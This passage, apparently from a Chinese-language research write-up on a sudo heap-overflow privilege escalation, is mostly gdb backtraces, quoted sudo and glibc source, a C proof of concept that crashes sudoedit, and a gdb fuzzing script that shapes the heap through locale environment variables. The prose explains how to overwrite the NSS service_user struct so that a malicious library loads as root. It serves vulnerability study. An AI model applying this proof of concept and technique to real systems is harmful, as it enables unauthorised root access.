#2 0x00007fed1ccf9967 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7fed1ce26b0d "%s\n") at ../sysdeps/posix/libc_fatal.c:181
#3 0x00007fed1cd009da in malloc_printerr (str=str@entry=0x7fed1ce28818 "double free or corruption (out)") at malloc.c:5342
#4 0x00007fed1cd07f6a in _int_free (have_lock=0, p=0x55b4d8b94b20, av=0x7fed1d05bc40 <main_arena>) at malloc.c:4308
#5 __GI___libc_free (mem=0x55b4d8b94b30) at malloc.c:3134
#6 0x00007fed1cc9d756 in setname (name=0x7fed1ce258e1 <_nl_C_name> "C", category=10) at setlocale.c:201
#7 __GI_setlocale (category=category@entry=6, locale=locale@entry=0x55b4d8b864a0 "C") at setlocale.c:386
#8 0x00007fed1bce4fe8 in sudoers_setlocale (locale_type=locale_type@entry=1, prev_locale=prev_locale@entry=0x7ffd39303aa0) at ../../../plugins/sudoers/locale.c:116
#9 0x00007fed1bcf68f4 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55b4d8b80e50, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffd39303b20) at ../../../plugins/sudoers/sudoers.c:419
#10 0x00007fed1bcee8ec in sudoers_policy_check (argc=2, argv=0x55b4d8b80e50, env_add=0x0, command_infop=0x7ffd39303be0, argv_out=0x7ffd39303be8, user_env_out=0x7ffd39303bf0, errstr=0x7ffd39303c08) at ../../../plugins/sudoers/policy.c:1028
#11 0x000055b4d79ae6f0 in policy_check (user_env_out=0x7ffd39303bf0, argv_out=0x7ffd39303be8, command_info=0x7ffd39303be0, env_add=0x0, argv=0x55b4d8b80e50, argc=2) at ../../src/sudo.c:1171
#12 main (argc=argc@entry=3, argv=argv@entry=0x7ffd39303e78, envp=0x7ffd39303e98) at ../../src/sudo.c:269
#13 0x00007fed1cc91bf7 in __libc_start_main (main=0x55b4d79ae080 <main>, argc=3, argv=0x7ffd39303e78, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffd39303e68) at ../csu/libc-start.c:310
#14 0x000055b4d79b074a in _start ()
漏洞利用
nss調用鏈分析
關於nss的漏洞利用方式如下所示:
漏洞發現者提出的其中一種漏洞利用的方式,是通過覆寫堆中service_user struct,然後通過nss_load_library函數載入惡意的動態鏈接庫。對應的就是上面fuzz結果中的第一條路徑:
4038 malloc.c: No such file or directory.
#0 _int_malloc (av=av@entry=0x7f170b772c40 <main_arena>, bytes=bytes@entry=384) at malloc.c:4038
#1 0x00007f170b4211f1 in __libc_calloc (n=<optimized out>, elem_size=<optimized out>) at malloc.c:3446
#2 0x00007f170bdc8026 in _dl_check_map_versions (map=<optimized out>, verbose=verbose@entry=0, trace_mode=trace_mode@entry=0) at dl-version.c:274
#3 0x00007f170bdcb3ec in dl_open_worker (a=a@entry=0x7ffd43dfcee0) at dl-open.c:284
#4 0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=0x7ffd43dfcec0, operate=0x7f170bdcaf60 <dl_open_worker>, args=0x7ffd43dfcee0) at dl-error-skeleton.c:196
#5 0x00007f170bdca96a in _dl_open (file=0x7ffd43dfd150 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7f170b4cf766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffd43dfde48) at dl-open.c:605
#6 0x00007f170b4ed2bd in do_dlopen (ptr=ptr@entry=0x7ffd43dfd110) at dl-libc.c:96
#7 0x00007f170b4ee1ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffd43dfd0b0, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:196
#8 0x00007f170b4ee27f in __GI__dl_catch_error (objname=objname@entry=0x7ffd43dfd100, errstring=errstring@entry=0x7ffd43dfd108, mallocedp=mallocedp@entry=0x7ffd43dfd0ff, operate=operate@entry=0x7f170b4ed280 <do_dlopen>, args=args@entry=0x7ffd43dfd110) at dl-error-skeleton.c:215
#9 0x00007f170b4ed3e9 in dlerror_run (args=0x7ffd43dfd110, operate=0x7f170b4ed280 <do_dlopen>) at dl-libc.c:46
#10 __GI___libc_dlopen_mode (name=name@entry=0x7ffd43dfd150 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#11 0x00007f170b4cf766 in nss_load_library (ni=0x556ad9984ed0) at nsswitch.c:369
#12 0x00007f170b4cff68 in __GI___nss_lookup_function (ni=ni@entry=0x556ad9984ed0, fct_name=<optimized out>, fct_name@entry=0x7f170b53c250 "initgroups_dyn") at nsswitch.c:477
#13 0x00007f170b4677e7 in internal_getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, size=size@entry=0x7ffd43dfd2a8, groupsp=groupsp@entry=0x7ffd43dfd2b0, limit=limit@entry=-1) at initgroups.c:105
#14 0x00007f170b467ab1 in getgrouplist (user=user@entry=0x556ad998d9c8 "root", group=group@entry=0, groups=groups@entry=0x7f170bf74010, ngroups=ngroups@entry=0x7ffd43dfd304) at initgroups.c:169
#15 0x00007f170b99fbbd in sudo_getgrouplist2_v1 (name=0x556ad998d9c8 "root", basegid=0, groupsp=groupsp@entry=0x7ffd43dfd360, ngroupsp=ngroupsp@entry=0x7ffd43dfd35c) at ../../../lib/util/getgrouplist.c:98
整個函數調用鏈就是這樣的:
sudo_getgrouplist2_v1 -> getgrouplist -> internal_getgrouplist -> __GI__nss_lookup_function -> nss_load_library
gdb中,讓程式crash之後,跟進到sudo_getgrouplist2_v1函數中,sudo_getgrouplist2_v1中源碼如下:
int
sudo_getgrouplist2_v1(const char *name, GETGROUPS_T basegid,
GETGROUPS_T **groupsp, int *ngroupsp)
{
GETGROUPS_T *groups = *groupsp;
int ngroups;
#ifndef HAVE_GETGROUPLIST_2
int grpsize, tries;
#endif
/* For static group vector, just use getgrouplist(3). */
if (groups != NULL)
return getgrouplist(name, basegid, groups, ngroupsp);
#ifdef HAVE_GETGROUPLIST_2
if ((ngroups = getgrouplist_2(name, basegid, groupsp)) == -1)
return -1;
*ngroupsp = ngroups;
return 0;
#else
grpsize = (int)sysconf(_SC_NGROUPS_MAX);
if (grpsize < 0)
grpsize = NGROUPS_MAX;
grpsize++; /* include space for the primary gid */
/*
* It is possible to belong to more groups in the group database
* than NGROUPS_MAX.
*/
for (tries = 0; tries < 10; tries++) {
free(groups);
groups = reallocarray(NULL, grpsize, sizeof(*groups));
if (groups == NULL)
return -1;
ngroups = grpsize;
if (getgrouplist(name, basegid, groups, &ngroups) != -1) {
*groupsp = groups;
*ngroupsp = ngroups;
return 0;
}
if (ngroups == grpsize) {
/* Failed for some reason other than ngroups too small. */
break;
}
/* getgrouplist(3) set ngroups to the required length, use it. */
grpsize = ngroups;
}
free(groups);
return -1;
#endif /* HAVE_GETGROUPLIST_2 */
}
如果groups值為0的話,就會調用reallocarray函數,從而觸發malloc報錯。groups變數是由傳遞進來的groupsp賦值的,所以需要看一下groupsp參數被傳入之前,是如何被賦值的:
if (sudo_user.max_groups > 0) {
// sudo_user.max_groups大於0時,進入這一條分支
ngids = sudo_user.max_groups;
gids = reallocarray(NULL, ngids, sizeof(GETGROUPS_T));
if (gids == NULL) {
sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,
"unable to allocate memory");
debug_return_ptr(NULL);
}
(void)sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids);
} else {
gids = NULL;
if (sudo_getgrouplist2(pw->pw_name, pw->pw_gid, &gids, &ngids) == -1) {
sudo_debug_printf(SUDO_DEBUG_ERROR|SUDO_DEBUG_LINENO,
"unable to allocate memory");
debug_return_ptr(NULL);
}
關於reallocarray函數原型如下:
void *reallocarray(void *ptr, size_t nelem, size_t elsize);
The reallocarray() function behaves like realloc() except that the new size of the allocation will be large enough for an array of nelem elements of size elsize.
If padding is necessary to ensure proper alignment of entries in the array, the caller is responsible for including that in the elsize parameter.
reallocarray函數會進行乘法溢出的檢查,恰好sudo_getgrouplist2_v1函數調用reallocarray的時候就發生了一個乘法溢出,這就是最多的那條crash的路徑。如何讓poc規避這條路徑成了我最迫切想要做的事情,需要再去調試研究一下堆布局。
int getgrouplist (const char *user, gid_t group, gid_t *groups, int *ngroups) { long int size = MAX (1, *ngroups); gid_t *newgroups = (gid_t *) malloc (size * sizeof (gid_t)); if (__glibc_unlikely (newgroups == NULL)) /* No more memory. */ // XXX This is wrong. The user provided memory, we have to use // XXX it. The internal functions must be called with the user // XXX provided buffer and not try to increase the size if it is // XXX too small. For initgroups a flag could say: increase size. return -1; int total = internal_getgrouplist (user, group, &size, &newgroups, -1);
......
static int internal_getgrouplist (const char *user, gid_t group, long int *size, gid_t **groupsp, long int limit) { #ifdef USE_NSCD if (__nss_not_use_nscd_group > 0 && ++__nss_not_use_nscd_group > NSS_NSCD_RETRY) __nss_not_use_nscd_group = 0; if (!__nss_not_use_nscd_group && !__nss_database_custom[NSS_DBSIDX_group]) { int n = __nscd_getgrouplist (user, group, size, groupsp, limit); if (n >= 0) return n; /* nscd is not usable. */ __nss_not_use_nscd_group = 1; } #endif enum nss_status status = NSS_STATUS_UNAVAIL; int no_more = 0; /* Never store more than the starting *SIZE number of elements. */ assert (*size > 0); (*groupsp)[0] = group; /* Start is one, because we have the first group as parameter. */ long int start = 1; if (__nss_initgroups_database == NULL) { if (__nss_database_lookup ("initgroups", NULL, "", &__nss_initgroups_database) < 0) { if (__nss_group_database == NULL) no_more = __nss_database_lookup ("group", NULL, DEFAULT_CONFIG, &__nss_group_database); __nss_initgroups_database = __nss_group_database; } else use_initgroups_entry = true; } else /* __nss_initgroups_database might have been set through __nss_configure_lookup in which case use_initgroups_entry was not set here. */ use_initgroups_entry = __nss_initgroups_database != __nss_group_database; service_user *nip = __nss_initgroups_database; while (! no_more) { long int prev_start = start; initgroups_dyn_function fct = __nss_lookup_function (nip, "initgroups_dyn"); ...... }
nss_load_library關鍵程式碼如下所示:
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
if (ni->library->lib_handle == NULL)
{
/* Failed to load the library. */
ni->library->lib_handle = (void *) -1l;
__set_errno (saved_errno);
}
滿足ni->library != NULL ,ni->library->handler == NULL時,nss_load_library會調用__strcpy來拼接動態鏈接庫名稱,然後調用__libc_dlopen來載入惡意動態鏈接庫文件。
堆風水
編寫如下poc,附加到gdb進行調試:
sudo gdb --args ./poc
#include<stdio.h>
#include<stdlib.h>
int main()
{
char *env[]={"AAA","\\","BBB","\\",NULL};
char *arg[]={"./sudoedit","-s","111111111111111\\"};
execve("./sudoedit",arg,env);
return 0;
}
在setlocale函數處和sudoers.c:953處下斷點,查看堆布局:
複寫的結構體,通過以下命令進行查找:
search -s systemd [heap]
可以看到,service_user所在chunk在bins中chunk的低地址處,向後單步,申請處sudo_uasr.cmnd_user_args之後,查看堆布局:
如果始終是這種堆布局的話,這個漏洞是無法利用的,heap是由低位向高位增長的空間,高位的溢出無法複寫低位的地址。所以,要想成功利用堆溢出,sudo_user.cmnd_args就要申請到service_user的低位地址處。
而改寫堆布局的方法,是由setlocale函數來實現的。
setlocale函數
setlocale函數原型如下:
char* setlocale (int category, const char* locale);
setlocale() 函數既可以用來對當前程式進行地域設置(本地設置、區域設置),也可以用來獲取當前程式的地域設置資訊,使用setlocale需要兩個參數,這兩個參數實際上是一對鍵值對,第一個參數category參數用來設置地域設置的影響範圍。地域設置包含日期格式、數字格式、貨幣格式、字元處理、字元比較等多個方面的內容,當前的地域設置可以隻影響某一方面的內容,也可以影響所有的內容。第二個參數是字元串,就是category的值。
關於setlocale函數:C setlocale函數
setlocale函數源碼在setlocale.c中,可以結合setlocale源碼對setlocale的堆申請流程做進一步分析。當locale參數的值為NULL時,返回_nl_global_locale.__name欄位,設置默認的地域資訊”C”,函數定義的局部變數中,locale_path是一個字元串類型指針,會被賦值為一個堆中的地址:
char *
setlocale (int category, const char *locale)
{
char *locale_path;
size_t locale_path_len;
const char *locpath_var;
if (__builtin_expect (category, 0) < 0
|| __builtin_expect (category, 0) >= __LC_LAST)
ERROR_RETURN;
/* Does user want name of current locale? */
if (locale == NULL)
return (char *) _nl_global_locale.__names[category];
當category等於LC_ALL且locale不為NULL時,setlocale函數會創建一個指針數組newnames,newnames中的元素被賦值為locale,locale參數的值是存放在堆中的,同時strdup會隱性調用malloc函數申請一塊堆塊locale_copy:
if (category == LC_ALL)
{
/* The user wants to set all categories. The desired locales
for the individual categories can be selected by using a
composite locale name. This is a semi-colon separated list
of entries of the form `CATEGORY=VALUE'. */
const char *newnames[__LC_LAST];
struct __locale_data *newdata[__LC_LAST];
/* Copy of the locale argument, for in-place splitting. */
char *locale_copy = NULL;
/* Set all name pointers to the argument name. */
for (category = 0; category < __LC_LAST; ++category)
if (category != LC_ALL)
newnames[category] = (char *) locale;
if (__glibc_unlikely (strchr (locale, ';') != NULL))
{
/* This is a composite name. Make a copy and split it up. */
locale_copy = __strdup (locale);
fuzz腳本缺乏對環境變數的處理,導致了之前fuzz結果沒有出現nss_load_library路徑,修改後的腳本和輸出結果如下:
import gdb
import random
categorys = ["LC_CTYPE","LC_MONETARY","LC_NUMERIC","LC_TIME"]
locales = ["C.UTF-8","en_US.UTF-8"]
class Generators:
fuzz_input = ""
env = ""
def generate(self):
self.env = ""
self.fuzz_input = ""
# create input
count = random.randint(1,4)
length = random.randint(0x10,0x280)
self.fuzz_input = "'"+'A'*length+"\\"+"'"
strategie = random.randint(1,2)
if strategie == 1:
self.env += "LC_ALL" + "="
self.env += random.choice(locales)
self.env += "@"*random.randint(0,0x70)
'''
if (__glibc_unlikely (strchr (locale, ';') != NULL))
{
/* This is a composite name. Make a copy and split it up. */
locale_copy = __strdup (locale);
if (__glibc_unlikely (locale_copy == NULL))
{
__libc_rwlock_unlock (__libc_setlocale_lock);
return NULL;
}
'''
else:
num = random.randint(0,4)
for i in range(num):
self.env += categorys[i] + "="
self.env += random.choice(locales)
self.env += "@"*random.randint(0,0x10)
if i != num:
self.env += ";"
return self.fuzz_input,self.env
def loop(G):
for i in range(2000):
try:
setargs,setenv = G.generate(G)
print('\n%s'%setargs)
gdb.execute("set env %s"%setenv)
print("%s"%setenv)
gdb.execute("r -s %s"%setargs)
gdb.execute("bt")
except Exception as e:
print('\n%s\n'%e)
gdb.execute("set pagination off")
gdb.execute("set logging on ./crashlog.output")
G = Generators
loop(G)
gdb.execute("quit")
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\'
LC_ALL=en_US.UTF-8@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2952 malloc.c: No such file or directory.
#0 tcache_get (tc_idx=2) at malloc.c:2952
#1 __GI___libc_malloc (bytes=42) at malloc.c:3060
#2 0x00007fb90a457598 in _dl_new_object (realname=realname@entry=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", libname=libname@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, loader=<optimized out>, loader@entry=0x0, mode=mode@entry=-1879048191, nsid=nsid@entry=0) at dl-object.c:163
#3 0x00007fb90a451a05 in _dl_map_object_from_fd (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", origname=origname@entry=0x0, fd=6, fbp=fbp@entry=0x7ffe9989c930, realname=0x55a240dffc30 "/lib/x86_64-linux-gnu/libnss_systemd.so.2", loader=loader@entry=0x0, l_type=2, mode=-1879048191, stack_endp=0x7ffe9989c928, nsid=0) at dl-load.c:998
#4 0x00007fb90a4541ac in _dl_map_object (loader=0x0, loader@entry=0x7fb90a64cf00, name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", type=type@entry=2, trace_mode=trace_mode@entry=0, mode=mode@entry=-1879048191, nsid=<optimized out>) at dl-load.c:2460
#5 0x00007fb90a460084 in dl_open_worker (a=a@entry=0x7ffe9989cea0) at dl-open.c:235
#6 0x00007fb909b831ef in __GI__dl_catch_exception (exception=0x7ffe9989ce80, operate=0x7fb90a45ff60 <dl_open_worker>, args=0x7ffe9989cea0) at dl-error-skeleton.c:196
#7 0x00007fb90a45f96a in _dl_open (file=0x7ffe9989d110 "libnss_systemd.so.2", mode=-2147483647, caller_dlopen=0x7fb909b64766 <nss_load_library+294>, nsid=<optimized out>, argc=3, argv=<optimized out>, env=0x7ffe9989de08) at dl-open.c:605
#8 0x00007fb909b822bd in do_dlopen (ptr=ptr@entry=0x7ffe9989d0d0) at dl-libc.c:96
#9 0x00007fb909b831ef in __GI__dl_catch_exception (exception=exception@entry=0x7ffe9989d070, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:196
#10 0x00007fb909b8327f in __GI__dl_catch_error (objname=objname@entry=0x7ffe9989d0c0, errstring=errstring@entry=0x7ffe9989d0c8, mallocedp=mallocedp@entry=0x7ffe9989d0bf, operate=operate@entry=0x7fb909b82280 <do_dlopen>, args=args@entry=0x7ffe9989d0d0) at dl-error-skeleton.c:215
#11 0x00007fb909b823e9 in dlerror_run (args=0x7ffe9989d0d0, operate=0x7fb909b82280 <do_dlopen>) at dl-libc.c:46
#12 __GI___libc_dlopen_mode (name=name@entry=0x7ffe9989d110 "libnss_systemd.so.2", mode=mode@entry=-2147483647) at dl-libc.c:195
#13 0x00007fb909b64766 in nss_load_library (ni=0x55a240dfba10) at nsswitch.c:369
#14 0x00007fb909b64f68 in __GI___nss_lookup_function (ni=ni@entry=0x55a240dfba10, fct_name=<optimized out>, fct_name@entry=0x7fb909bd1250 "initgroups_dyn") at nsswitch.c:477
#15 0x00007fb909afc7e7 in internal_getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, size=size@entry=0x7ffe9989d268, groupsp=groupsp@entry=0x7ffe9989d270, limit=limit@entry=-1) at initgroups.c:105
#16 0x00007fb909afcab1 in getgrouplist (user=user@entry=0x55a240e02c38 "root", group=group@entry=0, groups=groups@entry=0x7fb90a609010, ngroups=ngroups@entry=0x7ffe9989d2c4) at initgroups.c:169
#17 0x00007fb90a034bbd in sudo_getgrouplist2_v1 (name=0x55a240e02c38 "root", basegid=0, groupsp=groupsp@entry=0x7ffe9989d320, ngroupsp=ngroupsp@entry=0x7ffe9989d31c) at ./getgrouplist.c:98
#18 0x00007fb908ab7587 in sudo_make_gidlist_item (pw=0x55a240e02c08, unused1=<optimized out>, type=1) at ./pwutil_impl.c:269
#19 0x00007fb908ab626a in sudo_get_gidlist (pw=0x55a240e02c08, type=type@entry=1) at ./pwutil.c:926
#20 0x00007fb908aaf695 in runas_getgroups () at ./match.c:141
#21 0x00007fb908a9f2ce in runas_setgroups () at ./set_perms.c:1584
#22 set_perms (perm=perm@entry=5) at ./set_perms.c:275
#23 0x00007fb908a97ecc in sudoers_lookup (snl=0x7fb908cf4d80 <snl>, pw=0x55a240e02c08, cmnd_status=cmnd_status@entry=0x7fb908cf4d94 <cmnd_status>, pwflag=pwflag@entry=0) at ./parse.c:355
#24 0x00007fb908aa2912 in sudoers_policy_main (argc=argc@entry=2, argv=argv@entry=0x55a240dfe950, pwflag=pwflag@entry=0, env_add=env_add@entry=0x0, verbose=verbose@entry=false, closure=closure@entry=0x7ffe9989da90) at ./sudoers.c:420
#25 0x00007fb908a9a8ec in sudoers_policy_check (argc=2, argv=0x55a240dfe950, env_add=0x0, command_infop=0x7ffe9989db50, argv_out=0x7ffe9989db58, user_env_out=0x7ffe9989db60, errstr=0x7ffe9989db78) at ./policy.c:1028
#26 0x000055a23f40b6f0 in policy_check (user_env_out=0x7ffe9989db60, argv_out=0x7ffe9989db58, command_info=0x7ffe9989db50, env_add=0x0, argv=0x55a240dfe950, argc=2) at ./sudo.c:1171
#27 main (argc=argc@entry=3, argv=argv@entry=0x7ffe9989dde8, envp=0x7ffe9989de08) at ./sudo.c:269
#28 0x00007fb909a3dbf7 in __libc_start_main (main=0x55a23f40b080 <main>, argc=3, argv=0x7ffe9989dde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7ffe9989ddd8) at ../csu/libc-start.c:310
#29 0x000055a23f40d74a in _start ()
設置好環境變數,在gdb中調試,等到crash之後,gdb調試函數調用棧,看到函數通過nss_load_library函數調用打開libnss_systemd.so這個動態鏈接庫的時候發生崩潰。斷點下到sudoers.c:953處,可以看到sudo在為命令行參數申請堆塊之前的堆布局,同時查看ni->name欄位在堆中的地址(查看systemd字元串),可以看到tachebin中存在一塊chunk在ni->name欄位的低地址處。如果可以申請到這一塊chunk,同時控制溢出的長度和內容,那麼我們就可以覆蓋ni->name欄位的內容,從而載入惡意的動態鏈接庫。
sudo_user.cmnd_args後緊跟著的就是環境變數的值,所以溢出的內容實際也是由環境變數控制的。